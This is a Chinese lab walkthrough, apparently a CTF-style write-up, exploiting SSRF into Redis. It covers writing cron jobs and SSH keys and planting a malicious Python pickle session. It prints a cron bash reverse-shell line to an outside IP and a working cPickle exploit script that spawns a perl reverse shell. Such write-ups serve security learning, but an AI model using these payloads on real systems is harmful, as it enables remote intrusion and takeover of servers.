当前位置: 首页 > article >正文

网络安全-shire写任务计划、反弹shell、写私钥、反序列化

目录

一、环境

二、 介绍

三、开始做题

 四、写公钥


一、环境

网上自己找

二、 介绍

我们经过前面文章很清楚知道,shiro是将数据存储在内存当中,内存落盘实现一个数据存储,而当其结合python,python将登录的session存储到shiro里面就会造成一个反序列化漏洞

看看环境

登录信息存到session

序列化一个引擎

 序列化存入

那我们就需要反序列化的方式取出

pass:python序列化的两个方法pickle.dumps、pickle.loads 

三、开始做题

很明显的ssrf题目

接下来就是猜目录,但是这个靶场给了我们利用工具

 其实跟我们之前用的工具差不多一样,我们还是一样解码看它干了什么

一模一样正常的反弹shell操作如fiushall等等

攻击机接shell

 反馈是okokok我们等一分钟看看情况

很明显反弹回来了

 所以我们进入docker环境下看看它的任务计划有没有写成功

但是ubentu和centos的反弹不一样

ubentu是写在这个任务计划目录下的,ubentu的反弹并不稳定,因为其中涉及权限不能是644,得是600,第二个邮件服务器,第三个坑点/bin/sh指向dash,而我们反弹shell是bash

总结一下:

补充另一种方法:

*/1 * * * *  bash -c "bash -i  >&/dev/tcp/123.207.x.x/1234 0>&1"

不用修改链接指向,直接在sh下执行bash -c。

 四、写公钥

脚本上是写到/root/.ssh这个目录下authorized_keys这个文件里面

我这里生成一对公钥和私钥

 还是一样用centos去测试,写公钥看一下

 很明显它是写入了

我们直接可以免密登录了 

五、反序列化

我们正常登录可以看到session值

看shiro里面的存储

 我们将其复原一下,很明显是python反序列化的形式

看看主页源码,一开始加载的是login,然后提交给index,之后走到login.html下

 那我们要做的就是写一个恶意的session值写入redies里面去,然后它读出来的时候反序列化,那我们首要任务是先写

我们不能用原有的session,因为创建完后会覆盖回去,我们就改一下尾数

它生成的这个相当于是换行请求 

 但是我在实验的时候发现官方好像把这个换行符给修复了,因为靶场是两年前国外的,所以也算正常

看一下源码吧,它很明确的写出httplib是因为有一个换行符的漏洞所以会造成泄露

 没事,我自己写了一个反序列化的代码,我们看能否写入即可,验证为止

#!/usr/bin/env python

import cPickle
import os
import redis
import base64

class exp(object):
    def __reduce__(self):
        s = """perl -e 'use Socket;$i="192.168.139.138";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
        if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");
        open(STDERR,">&S");exec("/bin/bash -i");};'"""
        return (os.system, (s,))

e = exp()
s = base64.b64encode(cPickle.dumps(e))

r = redis.Redis(host='192.168.139.138', port=6379, db=0)
r.set("session:", s)


http://www.kler.cn/news/319781.html

相关文章:

  • 机器学习算法与Python实战 | 三万字详解!GPT-5:你需要知道的一切(上)建议收藏!
  • 性能监控之Python实战SkyWalking链路追踪
  • [java][git]git学习
  • Linux动态库防止逆向编译参数
  • keil的debug功能
  • IT行业的未来:技术变革与创新的持续推动
  • 解决fatal: unable to access ‘https://........git/‘: Recv failure: Operation time
  • ~关于 CAS 机制、ABA问题、偏向锁、synchronized 实现原理、信号量、Callable
  • Prompt最佳实践|如何用参考文本让ChatGPT答案更精准?
  • 深入理解Kubernetes供应链安全:CKS考试核心知识点实践
  • 在 expressjs 中MySQL 的datetime类型,怎么插入数据
  • 使用java实现ffmpeg的各种操作
  • 使用现有的科技或许无法实现对人类智能的模拟
  • 从零开始,Docker进阶之路(一):Docker基础
  • LocalStorage
  • 力扣中等 33.搜索旋转排序数组
  • MySQL中的函数简单总结,以及TCL语句的简单讲解
  • 三范式,面试重点
  • 食品检测与分类系统源码分享
  • 18-pg内核之日志管理器(六)checkpoint
  • 密码管理器介绍
  • 学习篇 | Ollama 安装、运行大模型(CPU 实操版)
  • 第二十节:学习Redis缓存数据库实现增删改查(自学Spring boot 3.x的第五天)
  • uniApp 解决uniapp三方地图获取位置接口的请求次数限制问题,分别提供 Android 和 iOS 的实现方法(原生插件获取)
  • 宠物智能化听诊器的健康管理!
  • BOE(京东方)携多场景物联网创新应用亮相2024服贸会 “屏之物联”赋能数字经济
  • 深度学习:常见损失函数简介--名称、作用和用法
  • C Primer Plus 第7章——第二篇
  • 渗透测试工具 sqlmap 基础教程
  • Linux Shell: 使用 Expect 自动化 SCP 和 SSH 连接的 Shell 脚本详解